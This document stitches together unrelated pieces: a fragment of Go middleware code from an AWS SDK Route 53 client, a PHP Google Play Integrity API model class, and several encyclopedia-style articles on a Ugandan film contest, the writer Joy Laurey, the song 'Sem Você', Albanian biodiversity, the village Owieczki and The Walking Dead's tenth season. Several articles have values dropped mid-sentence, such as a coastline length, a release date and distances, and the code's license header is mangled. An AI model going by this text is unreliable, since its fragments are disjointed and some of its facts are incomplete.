if err = addSetLoggerMiddleware(stack, options); err != nil {
return err
}
if err = addClientRequestID(stack); err != nil {
return err
}
if err = addComputeContentLength(stack); err != nil {
return err
}
if err = addResolveEndpointMiddleware(stack, options); err != nil {
return err
}
if err = addComputePayloadSHA256(stack); err != nil {
return err
}
if err = addRetry(stack, options); err != nil {
return err
}
if err = addRawResponseToMetadata(stack); err != nil {
return err
}
if err = addRecordResponseTiming(stack); err != nil {
return err
}
if err = addClientUserAgent(stack, options); err != nil {
return err
}
if err = smithyhttp.AddErrorCloseResponseBodyMiddleware(stack); err != nil {
return err
}
if err = smithyhttp.AddCloseResponseBodyMiddleware(stack); err != nil {
return err
}
if err = addSetLegacyContextSigningOptionsMiddleware(stack); err != nil {
return err
}
if err = addTimeOffsetBuild(stack, c); err != nil {
return err
}
if err = addUserAgentRetryMode(stack, options); err != nil {
return err
}
if err = addOpDisableHostedZoneDNSSECValidationMiddleware(stack); err != nil {
return err
}
if err = stack.Initialize.Add(newServiceMetadataMiddleware_opDisableHostedZoneDNSSEC(options.Region), middleware.Before); err != nil {
return err
}
if err = addRecursionDetection(stack); err != nil {
return err
}
if err = addRequestIDRetrieverMiddleware(stack); err != nil {
return err
}
if err = addResponseErrorMiddleware(stack); err != nil {
return err
}
if err = addSanitizeURLMiddleware(stack); err != nil {
return err
}
if err = addRequestResponseLogging(stack, options); err != nil {
return err
}
if err = addDisableHTTPSMiddleware(stack, options); err != nil {
return err
}
return nil
}
func newServiceMetadataMiddleware_opDisableHostedZoneDNSSEC(region string) *awsmiddleware.RegisterServiceMetadata {
return &awsmiddleware.RegisterServiceMetadata{
Region: region,
ServiceID: ServiceID,
OperationName: "DisableHostedZoneDNSSEC",
}
}
``` |
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\PlayIntegrity;
class DeviceIntegrity extends \Google\Collection
{
protected $collection_key = 'deviceRecognitionVerdict';
protected $deviceRecallType = DeviceRecall::class;
protected $deviceRecallDataType = '';
/**
* @var string[]
*/
public $deviceRecognitionVerdict;
protected $recentDeviceActivityType = RecentDeviceActivity::class;
protected $recentDeviceActivityDataType = '';
/**
* @param DeviceRecall
*/
public function setDeviceRecall(DeviceRecall $deviceRecall)
{
$this->deviceRecall = $deviceRecall;
}
/**
* @return DeviceRecall
*/
public function getDeviceRecall()
{
return $this->deviceRecall;
}
/**
* @param string[]
*/
public function setDeviceRecognitionVerdict($deviceRecognitionVerdict)
{
$this->deviceRecognitionVerdict = $deviceRecognitionVerdict;
}
/**
* @return string[]
*/
public function getDeviceRecognitionVerdict()
{
return $this->deviceRecognitionVerdict;
}
/**
* @param RecentDeviceActivity
*/
public function setRecentDeviceActivity(RecentDeviceActivity $recentDeviceActivity)
{
$this->recentDeviceActivity = $recentDeviceActivity;
}
/**
* @return RecentDeviceActivity
*/
public function getRecentDeviceActivity()
{
return $this->recentDeviceActivity;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(DeviceIntegrity::class, 'Google_Service_PlayIntegrity_DeviceIntegrity');
``` |
Movie Furnace (Tanuulu) is a Uganda-based non-profit short film competition, for Mariam Ndagire Film and Performing Arts Centre alumni (MNFPAC) founded by Mariam Ndagire. The program involves film production, screenwriting, directing, cinematography, editing, sound recording and acting, The winning team headed by the director wins 1000 USD.
History
Movie Furnace was established in 2012. The first winner was Bigaruka Hakim with his movie Bloody Sunset. The second round was won by Usama Mukwaya with his film In Just Hours.
The 3rd Season was won by Sewava Ivan with his movie LIFT FROM HELL
References
Ugandan film awards |
Joy Laurey is the pen name of a French writer, Jean-Pierre Imbrohoris (6 August 1943 - 13 December 1993), author of the series of erotic novels Joy.
The novels were adapted many times for the cinema, with actresses such as Claudia Udy, Brigitte Lahaie or Zara Whites.
In December 1993, Imbrohoris died in a car accident in southern France which also killed his wife, his son and novelist Vanessa Duriès.
Bibliography
As Joy Laurey
Joy (1981)
Joy and Joan (1982)
Joy in Love
Jessica (1997)
The return of Joy
As Jean-Pierre Imbrohoris
Marion du Faouët
Toute la vérité
References
External links
1943 births
1993 deaths
French erotica writers
French male writers
20th-century French male writers
20th-century pseudonymous writers |
"Sem Você" (lit.: "Without you") is a song by the Brazilian girl group pop Rouge, from their fourth studio album, Blá Blá Blá (2004). The song was written in Spanish by Andrés Constantinidis and Carolina de La Muela, with the title "No Dejo de Sentir", and was translated and produced by Rick Bonadio. The song is a pop rock ballad, which talks about not being able to live without the loved one. The song released on .
"Sem Você" was inserted as a soundtrack to SBT's soap opera Esmeralda, which helped popularize the song. The song was promoted in numerous TV shows. The group have performed the song on their for tours, from the Blá Blá Blá Tour (2004), Mil e Uma Noites Tour (2005), Chá Rouge Tour (2017) and 15 Anos Tour (2018).
Composition and lyrics
"Sem Você" is a pop ballad, with strong presence of distorted guitars in its sonorization, which gives a more pop rock feature to the song. Written in Spanish by Andrés Constantinidis and Carolina de La Muela, with the title "No Dejo de Sentir", and translated and produced by Rick Bonadio. "Sem Você" talks about finding love, and not being able to live without the loved one.
The song begins with Li Martins singing that never thought to find someone to love, but that when seeing the person loved, the world of her changed. In the chorus, everyone sings as "second voice," while Patricia has more vocal highlights, "And now I can not stop feeling, without you and I can not breathe, I do not want to live if you're not here with me, I can not be happy," they sing the girls. The second part is sung by Karin Hils, and talks about love seem like a dream come true. The second chorus brings Fantine Thó in the lead vocals, while the other girls do "second voice". The bridge of the song brings Aline Wirley talking that she needs this love in her life, to be happy. After the last refrain, the girls do "harmony."
Music video
On August 24, 2004, MTV Brasil premiered the music video for "Sem Você", directed by Ike Veitna. The scenes were recorded in the living room of a house, located in Morumbi, in São Paulo. The new video shows Fantine, Li Martins, Aline Wirley and Karin Hils in various situations. Ike had the idea of positioning the camera in the middle of the room, to be rotating throughout the clip in order to capture all the images.
Usage and performance
"Sem Você" was inserted as a soundtrack to SBT's soap opera Esmeralda, like theme of the pair Graziella (Karina Barum) and Adrian (Daniel Andrade). The song was promoted in numerous TV programs. "Sem Você" was also part of the tour's set-list, Blá Blá Blá Tour (2004), Mil e Uma Noites Tour (2005), Chá Rouge Tour (2017) and 15 Anos Tour (2018).
Charts
References
2004 songs
2004 singles
2000s ballads
Rouge (group) songs
Pop ballads
Portuguese-language songs
Songs written by Rick Bonadio |
For a small country, Albania is characterised by a considerable wealth of terrestrial and marine ecosystems and habitats with contrasting floral, faunal, and fungal species, defined in an area of 28,748 square kilometres. Most of the country is predominantly of Mediterranean character, comprehending the country's center and south, while the alpine affinity is more visible in the northeast.
Apart the diversity of topography and climate, the direct proximity of Albania to the Mediterranean Sea and the significant location within the European continent have created favorable conditions for appearance of a vast array of flora and fauna and funga with an immense quality, which, however, led the country to be recognised as an important biodiversity hotspot in the continent. The number of globally threatened faunal species in Albania is high with an integral part of more than 181 species, ranking seventh in the Mediterranean Basin.
Albania is predominantly mountainous and hilly with the rapid landscape change from marine to alpine within a limited distance. Only one-third consists of lowlands that sprawls across the west of the country facing the Mediterranean Sea with a coastline length of about . The mountain chains consequently cross the length of the country from the north to the south featuring the Albanian Alps in the north, the Sharr Mountains in the northeast, the Skanderbeg Mountains in the center, the Korab Mountains in the east, the Pindus Mountains in the southeast and the Ceraunian Mountains in the southwest stretching alongside the Albanian Riviera.
The hydrographic network of Albania is composed of lakes, rivers, wetlands, seas and groundwaters. There are about 250 lakes of different origins, including tectonic, glacial and fluvial lakes. Among the most important is the lake of Shkodër, the largest lake in Southern Europe, followed by Ohrid, which is considered one of the most ancient lakes in the world. The rivers also have a valuable effect on the local's coastal biodiversity (or wildlife). There are 152 rivers in the country, most notable amongst them Drin, Vjosa, Shkumbin, Mat, Ishëm and Osum. The coasts along the Mediterranean Sea are home to various lagoons including Karavasta and Narta.
Protected areas belong to the most essential instruments of nature conservation. 799 types of protected areas are designated in Albania, covering a surface of 5.216,96 square kilometres. Amongst them 14 national parks, 1 marine park, 4 Ramsar sites, 3 World Heritage Sites, 45 important plant areas, 16 important bird areas and 786 protected areas of various categories.
Ecoregions
The country of Albania is part of the Boreal Kingdom and stretches specifically within the Illyrian province of the Circumboreal Region. Its territory can be conventionally subdivided into four terrestrial ecoregions of the Palearctic realm. The Illyrian deciduous forests stretches along the Albanian Adriatic and Ionian Sea Coast in the west across the Mediterranean Basin, while the Pindus Mountains mixed forests occur in the Eastern and Southeastern Mountain Ranges in the east. The Dinaric Mountains mixed forests covers most of the Albanian Alps in the north, while the Balkan mixed forests extend across the eastern end of the range.
Ecosystems
Forests
Forests are the most widespread terrestrial ecosystem in Albania. They represent an essential functional and aesthetic component on 36% of the landscapes in the country. The forests of northern Albania are similar to that of Continental Europe, in contrast, and those of southern Albania refer similarities with that of the Mediterranean Basin.
Forests can take many forms, depending on their latitude, soil, rainfall and prevailing temperatures. The concentration of deciduous trees dominates in the country's forests, ranging from almost 56.8% or 6,093 square kilometres of the forested territory. Oak represents an important natural forest resource in Albania with 32.1% followed by beech with 18.4%. There are 12 oak species found in Albania distributed all across the country's territory from north to south, and east to west.
The coniferous forests cover 1,756 square kilometres which constitutes 16.4% of the country's forested total area. Although black pine dominates and is among the most significant tree species in the country, occupying a surface area of roughly 10.2%. It is primary found in the central mountain range but also scattered in the northern and southern mountain range. Silver fir accounts 1.4% of the conifers with 152 square kilometres, commonly found in the slopes and valleys of the mountains and alongside the Albanian Adriatic and Ionian Sea coasts in the west.
Wetlands
Albania possesses a wealth of wetland ecosystems supporting diverse and unique habitats. These wetlands contain respectively numerous ecological commodities and services but are under an important charge due to the rapid urbanization and industrialization. Marshes, reed beds and lakes are found in all regions, along with rivers and deltas while wetlands are distributed from the high internally mountainous zone in the southeast to the coastline in the west.
The richest wetland regions are more particularly in the coastal plain along the entire west border of Albania that is shaped by the Adriatic and Ionian Sea. The wetland complex of Butrint, Karavasta and Narta represents one of the most important coastal wetland sites of Albania. The lagoons are separated from the sea by rather narrow sandy bars, which continuously change in size and shape. Other important lagoons include the Patoku Lagoon, Kune-Vain Lagoon, Viluni Lagoon and many others.
Albania is home to several of the most important lakes in Southern Europe. Four lakes are apportioned with its neighbouring countries for instance Lake Shkodër with Montenegro, Lake Ohrid with North Macedonia, Small Lake Prespa with Greece and Lake Prespa with North Macedonia and Greece. All of them are nevertheless of international importance not least for the limnology and biodiversity. Moreover, Lake Shkodër and Lake Prespa have been recognised as a wetland of international importance by official designation under the Ramsar Convention.
Estuaries
An estuary is a partly enclosed coastal body of water that form at river mouths and provide unique habitats for migratory bird populations, invertebrates, as well as marine fish, including those that visit to breed. The main characteristics of estuarine life are the variability in salinity and sedimentation. They are determined by a region's geology, and influenced by topographical, chemical and climatic conditions.
Although small in size, Albania has many rivers that flow through its expanses. The major rivers of Albania are the Drin, Vjosa, Mat, Ishëm, Erzen, Shkumbin and Seman that discharges into the eastern Adriatic Sea. River flows are highly variable with high flows in winter and early spring and dramatically lower flows in the late summer.
In addition, the rivers have received little scientific attention from biologists and little is known about the status of biodiversity they contain, however, the river basin of Drin is one of the most important biodiversity hotspots in Europe.
Flora
Albania features contrasting and different vegetation types, determined mainly by topography, hydrology, climate and geology. It enjoys a diversity of temperate ecologies, incorporating both deciduous and coniferous forests, wetlands, river deltas, alpine and subalpine pastures and meadows, evergreen and broadleaf bushes, marine and coastal landscapes.
Strategically located on the northern shore of the Mediterranean Sea, Albania appertain to one of the planet's biodiversity hotspots due to the elevated level of endemism within the Mediterranean Basin. The flora of Albania consists of more than 3,200 vascular and 2,350 non-vascular plants and a lesser known number of fungi. The chief elements of the country's flora are 24% mediterranean, 22% balkanic, 18% european and 14% eurasian.
Phytogeographically, the country straddles the Illyrian province of the Circumboreal Region within the Boreal Kingdom. According to the World Wide Fund for Nature and the European Environment Agency, it falls within four terrestrial ecoregions of the Palearctic realm, including the Illyrian deciduous forests, Balkan mixed forests, Pindus Mountains mixed forests and Dinaric Mountains mixed forests.
About 3,000 different species of plants grow in Albania, many of which are used for medicinal purposes. Coastal regions and lowlands have typical Mediterranean macchia vegetation, whereas oak forests and vegetation are found on higher elevations. Vast forests of black pine, beech and fir are found on higher mountains and alpine grasslands grow at elevations above 1800 meters. The genus of flora with the most species in Albana Trifolium (clover) with a total of 63 species. This is principally due to the Mediterranean climate on the coastline of the nation. The country is also home to almost 27 species of Verbascum, which is due to the greater proximity to Anatolia, that is the main development center of the king candles.
Fauna
Birds
The geographical location of Albania in combination with its variable and complex climate is responsible for the diverse bird population in the country. Over 353 species of bird have been recorded in Albania with 11 globally threatened species and a species introduced by humans. The country is home to favorable wetlands, lagoons, lakes, estuaries and deltas together with the corresponding habitats. These habitats serve as feeding ground for thousands of migrating birds that travels between Northern Africa and Europe through the Adriatic flyway.
There are numerous raptor species found in Albania, some of which are the eagles, hawks, falcons and vultures. The eagles are widespread over the country while different species inhabit different habitats. The golden eagle is the largest bird of prey and especially found in mountainous areas, cliffs and remote areas of Albania.
The white-tailed eagle is found wherever there are large bodies of water and takes mainly fish and occasionally other vertebrates. The short-toed snake eagle is a forest species and takes mostly snakes but also some lizards. There is a great plenty of hawk species found across the country including the Eurasian sparrowhawk, the Levant sparrowhawk and the northern goshawk.
The falcons that occur in the country are well represented by a number of species. They are represented by the eleonora's falcon, eurasian hobby, lanner falcon, peregrine falcon, saker falcon and merlin. A dozen species of vultures can be found living in the country mainly in certain parts of gorges, on cliffs, rocks and caves. Among the most important and prominent species is the globally threatened egyptian vulture. These birds inhabit mainly the southern of Albania but can be found in very few territories in the north.
Located in the Mediterranean Sea, Albania has a rich marine avifauna with many large and various seabird colonies dotted around its pristine coastline in the west. Pelicans and flamingos are more commonly found in the coastal areas. The extremely rare Dalmatian pelican is the most common pelican in the country and very heavy for a flying bird. The greater flamingo, which is out of the six species of flamingos on the planet, can be found along warm, watery regions especially in lagoons such as in Karavasta Lagoon and Narta Lagoon.
Mammals
Albania is home to a wide range of mammals that are closely associated with its geographical location and climatic conditions. Approximately 58 species of mammals have been recorded to occur in the country. The protected areas, including national parks, nature reserves and biosphere reserves, provide protection to the mammals and are the most likely locations where these animals can be seen.
For a small country, Albania challenges an important role in maintaining and ensuring the long-term survival of the large carnivores of the western and southern Balkan Peninsula. The carnivores seem to be primarily distributed in the last remaining forests throughout the country especially in the areas around the Albanian Alps in the north, the Korab Mountains in the east and the scattered elevated areas in the south, such as in the Karaburun Peninsula, Valamara Mountains and Nemërçka Mountains.
Small terrestrial mammals (STM) are made up of 31 different species. Although the majority of the STM species found in the country have a wide global distribution, six species are known to be endemic to the Balkans and two others to Europe. They have a significant portion of their global distribution range within Albanian territory.
The country's cat species include the Eurasian lynx and European wildcat. All of them are critically endangered, threatened and protected. The country is host to at present the largest distribution area of the critically endangered Balkan lynx, which is considered to be the largest cat in the Balkans, with an estimated population of less than 100 individuals.
The family Canidae has several members in Albania including the gray wolf, Eurasian wolf, red fox and golden jackal. The distribution range of the gray and Eurasian wolf encompasses most of the country's territory. The red fox, which is native, is the largest fox species and appears in every corner of Albania. However, the range of the golden jackal extends across the Western Lowlands along the Albanian Adriatic and Ionian Sea Coast.
The brown bear, perhaps Albania's most famous wildlife species, is one of the most valuable elements of the biodiversity and plays as well as an important role in biodiversity maintenance. They are found across much of the country, including the Northern, Central and Southern Mountain Range of Albania, and are part of the Dinaric-Pindus population, which is the second largest population in Europe. The brown bear populations in both Albania and North Macedonia are of significant and important biological and genetic value, as they constitute the connecting populations between the bears of the countries of Serbia, Croatia and Slovenia in the northern of the Balkans and the bears of Greece in the south.
The largest family of carnivorous mammals belongs to the otters, badgers, weasels and martens, all of which are found in the country. All of these are short, furry animals with short, rounded ears and thick fur, but they differ markedly in size, habit and habitat. The Eurasian otter is found throughout much of the country and healthy populations were localised in rivers and marshes in the northwest and the south. The European badger is the most common badger in Albania and found across much of the country's territory.
Classified as carnivores, pinnipeds are divided between earless seals and eared seals. Earless seals do not have ears and cannot get their hind flippers underneath their bodies to crawl. In contrast, eared seals have protruding ears and can walk with all four limbs on land. Nevertheless, the Mediterranean monk seal, among the world's rarest pinniped species, is the only seal species that can be found in Albania. It is primarily home in the rocky coastal regions of southern Albania such as in Karaburun Peninsula, Sazan Island and Ksamil Islands that provide good habitats for the endangered species.
Considering the great availability of water, the country's coast is estimated to be long. The Mediterranean Sea, which includes the Adriatic Sea and the Ionian Sea that makes up the entire west border of Albania, is home to increasingly rare populations of cetaceans. Nonetheless, the country has several cetacean species that live in the Albanian Mediterranean Sea.
The short-beaked common dolphin is known to inhabit coastal waters. The common bottlenose dolphin is abundant along the Albanian Adriatic Sea Coast especially in winter and spring seasons where they come to coastal areas to breed. Areas to protect the dolphin species were established in Buna River-Velipoja, Karaburun-Sazan, Ksamil Islands, Vjosa-Narta and other places. Therefore, the Cuvier's beaked whale has been recorded several times in Albanian waters.
The even-toed ungulates are represented by species such as the roe deer and chamois. Although found in the other nearby Balkan countries, red deer have been locally extinct in Albania for the better part of the 20th century, whereas fallow deer are only present in captivity.
Reptiles
Despite the fact that there are no exact studies, Albania ranks among the most important regions in the Balkan Peninsula in terms of reptiles with over thirty-seven species being recorded. Many of them are widespread particularly along the Albanian coasts that contains a wide diversity of habitats and ecosystems.
There are several species of sea turtle that nest on the country's beaches. The loggerhead turtle is a large oceanic turtle with flippers and a reddish-brown shell. The green sea turtle is another important species in the Mediterranean Sea and occasionally found in the Bay of Drin in the north and Bay of Vlorë in the south of Albania. The hawksbill sea turtle is one of the world's most endangered sea turtles and basically found in tropical waters around the world but also occasionally in Albania.
The territory of Albania is populated by two important species of freshwater turtles such as the European pond turtle and the Balkan pond turtle. One of the best-known turtles of Albania is the Hermann's tortoise which is relatively abundant throughout the country. Lizards are also found in the country. Large lizards such as the European green lizard, Balkan green lizard, Mediterranean house gecko and blue-throated keeled lizard are probably the country's most regularly encountered reptiles.
Fish
Albania has approximately 249 fish species in its coastal waters and 64 freshwater species in its rivers and lakes. Even though fish of marine and freshwaters can be found in various parts of waters throughout the country. The Adriatic and Ionian Sea inside the Mediterranean Sea are home of salt water fish, while fresh water fish occurs on Lake Butrint, Lake Shkodër, Lake Ohrid, Lake Prespa as well as in Karavasta Lagoon, Narta Lagoon and Patos Lagoon.
Lake Ohrid, Europe's oldest lake, is located between Albania and North Macedonia. As one of the world's few ancient lakes, it is the lake which contains the largest number of endemic species in the world, with 212 species of animals and plants. It is the habitat for many rare fish species such as the endangered Ohrid trout, one of the most ancient trout in the entire Balkan Peninsula.
With more than 28 species identified, out of 38 species which were recorded for the entire Adriatic Sea, the diversity of sharks in Albania is among the most abundant in the Balkans. Among the most important and common species are the small-spotted catshark, nursehound, common smooth-hound, longnose spurdog, spiny dogfish, angelshark and common thresher.
Protected areas
Numerous parts of Albania are protected in accordance with a number of national and international designations due to their natural, historical or cultural value. Protected areas belong to the most important instruments of conservation which in turn contributes effectively to the maintenance of species, habitats and ecosystems.
The country has currently fifteen designated national parks, whereby one is specified as a marine park. Ranging from the Adriatic Sea and the Ionian Sea to the Albanian Alps and the Ceraunian Mountains, they possesses outstanding landscapes constituting habitats to thousands of plant and animal species. Butrint, Divjakë-Karavasta, Karaburun-Sazan, Llogara, Prespa, Shebenik-Jabllanicë, Theth and Valbonë are among the most spectacular national parks of the country.
See also
Geography of Albania
Protected areas of Albania
Albanian Adriatic and Ionian Sea Coast
References
Biodiversity
Biota of Albania
Environment of Albania
Geography of Albania |
Owieczki is a village in the administrative district of Gmina Łubowo, within Gniezno County, Greater Poland Voivodeship, in west-central Poland. It lies approximately north of Łubowo, west of Gniezno, and north-east of the regional capital Poznań.
References
Owieczki |
The tenth season of The Walking Dead, an American post-apocalyptic horror television series on AMC, premiered on October 6, 2019, and concluded on April 4, 2021, consisting of 22 episodes. Developed for television by Frank Darabont, the series is based on the eponymous series of comic books by Robert Kirkman, Tony Moore, and Charlie Adlard. The executive producers are Kirkman, David Alpert, Scott M. Gimple, Angela Kang, Greg Nicotero, Joseph Incaprera, Denise Huth, and Gale Anne Hurd, with Kang as showrunner for the second consecutive season. The tenth season received generally positive reviews. It was nominated for multiple awards, including a fifth consecutive nomination for Best Horror Television Series, at the 46th Saturn Awards.
This season adapts material from issues #145–174 of the comic book series and focuses on the group's preparation and war against the Whisperers. Set several months after the massacre perpetrated by Alpha (Samantha Morton) during the community fair, the season focuses on the united communities as they initiate a fight in order to end the threat of the Whisperers.
The tenth season is the final season for series regular Danai Gurira, who has portrayed Michonne since the third season. The planned season finale was scheduled to air on April 12, 2020, but post-production was delayed due to the COVID-19 pandemic. Instead, the episode aired on October 4, 2020, with an additional six episodes added to the tenth season that were broadcast from February 28 to April 4, 2021.
Cast
Main cast
The tenth season features twenty series regulars overall. Ryan Hurst, Eleanor Matsuura, Cooper Andrews, Nadia Hilker, Cailey Fleming, Cassady McClincy, and Lauren Ridloff were all promoted to series regular status, after previously having recurring roles. Hurst is added to the opening credits, while the rest are credited as "also starring". Beginning with episode 17, Lauren Cohan was re-added to the opening credits and as a series regular.
Starring
Norman Reedus as Daryl Dixon, a southerner and Rick's former right-hand man. He is a skilled hunter and former recruiter for Alexandria.
Danai Gurira as Michonne, a katana-wielding warrior and Rick's former romantic partner. She is also adoptive mother to Judith, and mother to her and Rick's child.
Melissa McBride as Carol Peletier, a survivor who has overcome several traumas, is a skilled and ingenious fighter, and now resides at Alexandria. She is also ex-wife to Ezekiel.
Christian Serratos as Rosita Espinosa, a pragmatic member of the group who is mother to her and Siddiq's child. She is also in a relationship with Gabriel.
Josh McDermitt as Eugene Porter, an intelligent survivor who has overcome his fear of walkers. He also fell in love with Rosita.
Seth Gilliam as Gabriel Stokes, a priest and head of the council of Alexandria who has reconciled his beliefs with what needs to be done to survive. He is also in a relationship with Rosita.
Ross Marquand as Aaron, a former recruiter from Alexandria who lost his arm in an accident and adoptive father to Gracie.
Khary Payton as Ezekiel, the charismatic former leader of the Kingdom and ex-husband to Carol.
Ryan Hurst as Beta, the second-in-command of the Whisperers.
Samantha Morton as Alpha, the leader of the Whisperers, a mysterious group of survivors who wear the skins of walkers to mask their presence and the main antagonist of the season.
Jeffrey Dean Morgan as Negan, the reformed former leader of the Saviors who is incarcerated at Alexandria. He formed a parental bond with Michonne's adoptive daughter, Judith.
Lauren Cohan as Maggie Greene, Glenn's widow and the former leader of the Hilltop, who left with Georgie and is helping with a new distant community. She also has a grudge against Negan for killing her husband.
Also starring
Callan McAuliffe as Alden, a former member of the Saviors who resides at the Hilltop and now vows a retaliation against the Whisperers. He had been in a relationship with Enid, who was killed by Alpha.
Avi Nash as Siddiq, a doctor for Alexandria who is the father to his and Rosita's child. He is suffering from PTSD due to being a key witness to Alpha's killings of several members of his group.
Eleanor Matsuura as Yumiko, Magna's girlfriend who is a proficient archer and former criminal defense lawyer before the apocalypse.
Cooper Andrews as Jerry, a former resident of the Kingdom and Ezekiel's right-hand man who is in a relationship with Nabila.
Nadia Hilker as Magna, the feisty former leader of a small group of roaming survivors.
Cailey Fleming as Judith Grimes, the daughter of Lori Grimes and Shane Walsh, and adopted daughter of Rick and Michonne.
Cassady McClincy as Lydia, Alpha's daughter and former Whisperer who now resides in Alexandria. She is also Henry's former love interest.
Havana Blum as young Lydia
Lauren Ridloff as Connie, a deaf former member of Magna's group who forms a close bond with Daryl.
Supporting cast
Alexandria Safe-Zone
Lindsley Register as Laura, a former lieutenant of the Saviors who is a member of the council of Alexandria.
Kenric Green as Scott, a supply runner in Alexandria.
Mandi Christine Kerr as Barbara, a resident of Alexandria.
Tamara Austin as Nora, a member of the council of Alexandria and Michonne's friend.
Anabelle Holloway as Gracie, the adoptive daughter of Aaron.
Antony Azor as Rick "R.J." Grimes Jr., the son of Rick and Michonne.
Jerri Tubbs as Margo, a former member of the Highwaymen who resents Lydia.
David Shae as Alfred, a former member of the Highwaymen and Margo's friend.
Blaine Kern III as Brandon, a prison guard in Alexandria who watches over Negan.
The Hilltop
Nadine Marissa as Nabila, a former resident and gardener of the Kingdom, and Jerry's wife.
Dan Fogler as Luke, a former music teacher who has come to appreciate safety in numbers.
Angel Theory as Kelly, Connie's alert and protective sister who has a gradual hearing loss.
John Finn as Earl Sutton, the Hilltop's blacksmith and former husband to Tammy.
Kerry Cahill as Dianne, one of Ezekiel's top soldiers and a skilled archer.
Karen Ceesay as Bertie, a teacher at the Hilltop.
Gustavo Gomez as Marco, a supply runner of the Hilltop.
Anthony Lopez as Oscar, a resident of the Hilltop.
Jackson Pace as Gage, a resident of the Hilltop who now resents Lydia over the deaths of his friends.
Oceanside
Sydney Park as Cyndie, a young woman who is the leader of the Oceanside community.
Avianna Mynhier as Rachel Ward, a teenage member of Oceanside who represents her community.
Alex Sgambati as Jules, a member of Oceanside.
Briana Venskus as Beatrice, one of Oceanside's top soldiers and Cyndie's right-hand.
The Whisperers
Thora Birch as Gamma / Mary, a member of the Whisperers who is very protective of Alpha.
Juan Javier Cardenas as Dante, Siddiq's wise-cracking medical assistant and a spy for the Whisperers.
Juliet Brett as Frances, a member of the Whisperers and Mary's sister who abandoned her newborn-son under Alpha's orders.
Mark Sivertsen as Rufus, a member of the Whisperers.
Bloodsworth Island
Kevin Carroll as Virgil, a survivor who seeks Michonne's help to look for his family.
Eve Gordon as Celeste, a resident of Bloodsworth Island, who was a researcher alongside Virgil and Jeremiah.
Taylor Nichols as Jeremiah, a resident of Bloodsworth Island, who was a researcher alongside Virgil and Celeste.
Olivia Stambouliah as Lucy, a resident of Bloodsworth Island, who was a janitor in the island's research facility.
Survivor Caravan
Breeda Wool as Aiden, a member of a survivor caravan.
Andrew Bachelor as Bailey, a member of a survivor caravan and Aiden's friend.
The Wardens
Okea Eme-Akwari as Elijah, a mysterious and masked member of the Wardens.
James Devoti as Cole, a trusted member of the Wardens.
Kien Michael Spiller as Hershel Rhee, the son of Glenn and Maggie.
The Commonwealth
Margot Bingham as Max "Stephanie" Mercer, a survivor from an unknown location who communicates with Eugene over the radio.
Cameron Roberts as Tyler Davis, a soldier of the Commonwealth military.
Miscellaneous
Matt Lintz as Henry, the adopted son of Carol and Ezekiel who was killed by Alpha in the ninth season. He appears in Carol's hallucinations.
Matt Magnum as D.J., a reformed former lieutenant of the Saviors who was killed by Alpha in the ninth season. He appears in Siddiq and Michonne's hallucinations.
Paola Lázaro as Juanita "Princess" Sanchez, a quirky and flamboyant survivor who has suffered various traumas in her past.
Lynn Collins as Leah Shaw, the former owner of Dog who formed a loving connection with Daryl.
Robert Patrick as Mays, a deranged and renegade survivor who lost trust in people.
Hilarie Burton as Lucille, Negan's late wife who died of pancreatic cancer early in the outbreak. She appears in Negan's flashbacks.
Miles Mussenden as Franklin, a kind and altruistic doctor who provides medication for Negan's wife. He is also Laura's adoptive father.
Rodney Rowland as Craven, the antagonistic leader of the motorcycle gang Valak's Vipers.
Episodes
Production
In February 2019, the series was renewed for a tenth season. Filming began in May 2019. Andrew Lincoln expressed interest in directing an episode for season 10, but he was not able to due to scheduling conflicts. Michael Cudlitz, who directed an episode in season 9, returned to direct the fourth and seventh episodes of season 10. Production for the original 16-episode order of season 10 was completed in November 2019. Production resumed in October 2020, for the six additional episodes for season 10. The series moved from shooting on 16 mm film to digital beginning with the six bonus episodes. This changed was prompted due to the COVID-19 pandemic and safety precautions with there being fewer "touch points" with digital than film.
Casting
In February 2019, it was announced that Danai Gurira, who portrays Michonne, would exit the series in the tenth season. Gurira appeared in a limited capacity, in a handful of episodes that was interspersed throughout the season. Later, in July 2019, Gurira confirmed her exit at a panel at the San Diego Comic-Con, and stated:
In July 2019, it was announced that Thora Birch and Kevin Carroll had been cast; Birch plays Gamma, a member of the Whisperers, and Carroll plays Virgil, a survivor looking for his family. Regarding Lauren Cohan's status on the show as Maggie Greene, showrunner Angela Kang remarked in July 2019, "I'll just say that we're working on it." Cohan left The Walking Dead in its ninth season to star in the TV series Whiskey Cavalier, however that series was canceled after one season. In October 2019, Kang affirmed Cohan would return as a series regular in season 11, but also hinted towards her appearance in the second half of season 10. Kang said that in developing season, even before knowing of Cohan's return, they had kept seeding that Maggie was still considered part of the ongoing narrative so that they could work in her return if she had the opportunity. The teaser trailer for "A Certain Doom", airing after the broadcast of "The Tower", confirmed Maggie's return to the series.
As part of the extended episodes for season 10, one focuses on Negan's backstory and introduces his wife Lucille, who is played by Morgan's real-life wife, Hilarie Burton. On November 19, 2020, it was announced that Robert Patrick and Okea Eme-Akwari had been cast for the extended episodes as new characters Mays and Elijah, respectively.
Release
The trailer was released on July 19, 2019, at the San Diego Comic-Con. The season premiere was made available for streaming to subscribers of AMC Premiere on September 29, 2019.
AMC announced in March 2020 that due to the COVID-19 pandemic, post-production on the season finale could not be completed by its planned April 12, 2020, airdate, and instead would air on October 4, 2020. Showrunner Angela Kang stated that the delay on post-production was related with coordination of the worldwide production studios doing their special effects before the state issued its shutdown orders that effectively shuttered their California production studio to combine those into the final episode package. "Home Sweet Home" premiered a week early on February 21, 2021, on AMC+ before its televised air date and subsequent episodes were released every Thursday ahead of its AMC linear premiere on Sunday.
The 22-episode tenth season was released on Blu-ray and DVD on July 20, 2021, with special features including multiple audio commentaries and an "In Memoriam" featurette.
Reception
Critical response
The tenth season of The Walking Dead has received generally positive reviews. On Rotten Tomatoes, the season holds a score of 77% with an average rating of 7 out of 10, based on 6 reviews. The critical consensus reads: "A few changes in front of and behind the camera allow TWD create space for compelling new stories and some seriously scary new adversaries." Commenting on the season premiere, Brandon Davis of ComicBook.com called it a "perfect return" while Alex Zalben of Decider wrote that the episode is "gross, scary, and big budget storytelling the way only Walking Dead can do. Season 10 is already off to a promising start". Paul Tassi of Forbes praised the writing and direction, writing: "The writing remains on point, the direction is solid. The show is still in a good place."
